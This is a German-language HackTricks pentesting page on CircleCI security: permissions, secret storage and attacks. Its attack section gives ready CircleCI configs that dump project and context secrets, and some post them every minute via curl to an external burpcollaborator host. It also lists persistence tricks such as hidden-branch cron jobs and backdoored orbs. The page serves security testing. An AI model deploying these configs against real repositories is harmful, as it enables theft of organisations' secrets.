CircleCI Security

Unterstützen Sie HackTricks

Grundlegende Informationen

CircleCI ist eine Continuous Integration-Plattform, auf der Sie Vorlagen definieren können, die angeben, was Sie mit etwas Code tun möchten und wann Sie es tun möchten. Auf diese Weise können Sie Tests automatisieren oder Bereitstellungen direkt von Ihrem Repo-Master-Zweig aus durchführen.

Berechtigungen

CircleCI erbt die Berechtigungen von GitHub und Bitbucket in Bezug auf das Konto, das sich anmeldet. In meinen Tests habe ich festgestellt, dass Sie solange Sie Schreibberechtigungen für das Repo in GitHub haben, die Projekteinstellungen in CircleCI verwalten können (neue SSH-Schlüssel festlegen, Projektschlüssel abrufen, neue Zweige mit neuen CircleCI-Konfigurationen erstellen...).

Sie müssen jedoch ein Repo-Administrator sein, um das Repo in ein CircleCI-Projekt umzuwandeln.

Umgebungsvariablen & Geheimnisse

Gemäß der Dokumentation gibt es verschiedene Möglichkeiten, Werte in Umgebungsvariablen innerhalb eines Workflows zu laden.

Eingebaute Umgebungsvariablen

Jeder von CircleCI ausgeführte Container wird immer spezifische Umgebungsvariablen haben, die in der Dokumentation definiert sind wie CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME oder CIRCLE_USERNAME.

Klartext

Sie können sie im Klartext innerhalb eines Befehls deklarieren:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Du kannst sie im Klartext in der Ausführungsumgebung deklarieren:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Du kannst sie im Klartext innerhalb der build-job Umgebung deklarieren:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Du kannst sie im Klartext innerhalb der Umgebung eines Containers deklarieren:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Projektgeheimnisse

Dies sind Geheimnisse, die nur vom Projekt (von jedem Branch) zugänglich sein werden. Sie können sie deklariert sehen in https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

Die "Import Variables" Funktionalität erlaubt es, Variablen aus anderen Projekten zu importieren in dieses.

Kontextgeheimnisse

Dies sind Geheimnisse, die org-weit sind. Standardmäßig kann jedes Repo auf alle hier gespeicherten Geheimnisse zugreifen:

Jedoch beachten Sie, dass eine andere Gruppe (anstelle von Allen Mitgliedern) ausgewählt werden kann, um den Zugriff auf die Geheimnisse nur bestimmten Personen zu gewähren. Dies ist derzeit einer der besten Wege, um die Sicherheit der Geheimnisse zu erhöhen, um nicht jedem den Zugriff zu ermöglichen, sondern nur einigen Personen.

Angriffe

Suche nach Klartextgeheimnissen

Wenn Sie Zugriff auf das VCS (wie github) haben, überprüfen Sie die Datei .circleci/config.yml von jedem Repo auf jedem Branch und suchen nach potenziellen im Klartext gespeicherten Geheimnissen.

Geheime Env-Variablen & Kontextenumeration

Überprüfen Sie den Code, um alle Geheimnisnamen zu finden, die in jeder .circleci/config.yml-Datei verwendet werden. Sie können auch die Kontextnamen aus diesen Dateien erhalten oder sie in der Webkonsole überprüfen: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Projektgeheimnisse exfiltrieren

Um ALLE Projekt- und Kontext-GEHEIMNISSE zu exfiltrieren, benötigen Sie nur SCHREIB-Zugriff auf nur 1 Repo in der gesamten github-Organisation (und Ihr Konto muss Zugriff auf die Kontexte haben, aber standardmäßig kann jeder auf jeden Kontext zugreifen).

Die "Import Variables" Funktionalität erlaubt es, Variablen aus anderen Projekten zu importieren in dieses. Daher könnte ein Angreifer alle Projektvariablen aus allen Repos importieren und dann alle zusammen exfiltrieren.

Alle Projektgeheimnisse sind immer in der Umgebung der Jobs festgelegt, daher werden sie durch den Aufruf von env und deren Verschleierung in base64 in der Workflows-Web-Log-Konsole exfiltriert:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Wenn Sie keinen Zugriff auf die Webkonsole haben, aber Zugriff auf das Repository und wissen, dass CircleCI verwendet wird, können Sie einfach einen Workflow erstellen, der alle Minute ausgelöst wird und die Geheimnisse an eine externe Adresse exfiltriert:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Kontextgeheimnisse exfiltrieren

Sie müssen den Kontextnamen angeben (dies wird auch die Projektgeheimnisse exfiltrieren):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Wenn Sie keinen Zugriff auf die Webkonsole haben, aber Zugriff auf das Repository und wissen, dass CircleCI verwendet wird, können Sie einfach einen Workflow ändern, der alle Minuten ausgelöst wird und die Geheimnisse an eine externe Adresse exfiltriert:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Das Erstellen einer neuen .circleci/config.yml in einem Repository reicht nicht aus, um einen CircleCI-Build auszulösen. Sie müssen es als Projekt in der CircleCI-Konsole aktivieren.

Escape to Cloud

CircleCI bietet Ihnen die Möglichkeit, Ihre Builds auf ihren Maschinen oder auf Ihren eigenen auszuführen. Standardmäßig befinden sich ihre Maschinen in GCP, und anfangs werden Sie nichts Relevantes finden. Wenn jedoch ein Opfer die Aufgaben in ihren eigenen Maschinen (möglicherweise in einer Cloud-Umgebung) ausführt, könnten Sie einen Cloud-Metadaten-Endpunkt mit interessanten Informationen darauf finden.

Beachten Sie, dass in den vorherigen Beispielen alles innerhalb eines Docker-Containers gestartet wurde, aber Sie können auch anfordern, eine VM-Maschine zu starten (die möglicherweise über unterschiedliche Cloud-Berechtigungen verfügt):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Oder sogar ein Docker-Container mit Zugriff auf einen entfernten Docker-Dienst:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Persistenz

  • Es ist möglich, Benutzertoken in CircleCI zu erstellen, um auf die API-Endpunkte mit den Benutzerberechtigungen zuzugreifen.

  • https://app.circleci.com/settings/user/tokens

  • Es ist möglich, Projekt-Token zu erstellen, um auf das Projekt mit den dem Token zugewiesenen Berechtigungen zuzugreifen.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • Es ist möglich, SSH-Schlüssel zu den Projekten hinzuzufügen.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • Es ist möglich, einen Cron-Job in einem versteckten Branch in einem unerwarteten Projekt zu erstellen, der täglich alle Kontext-Umgebungsvariablen preisgibt.

  • Oder sogar in einem Branch erstellen / einen bekannten Job ändern, der täglich alle Kontext- und Projektgeheimnisse preisgibt.

  • Wenn Sie ein GitHub-Besitzer sind, können Sie nicht verifizierte Orbs zulassen und einen als Hintertür in einem Job konfigurieren.

  • Sie können eine Befehlseinschleusungsschwachstelle in einer Aufgabe finden und Befehle über ein Geheimnis einschleusen, indem Sie dessen Wert ändern.

Last updated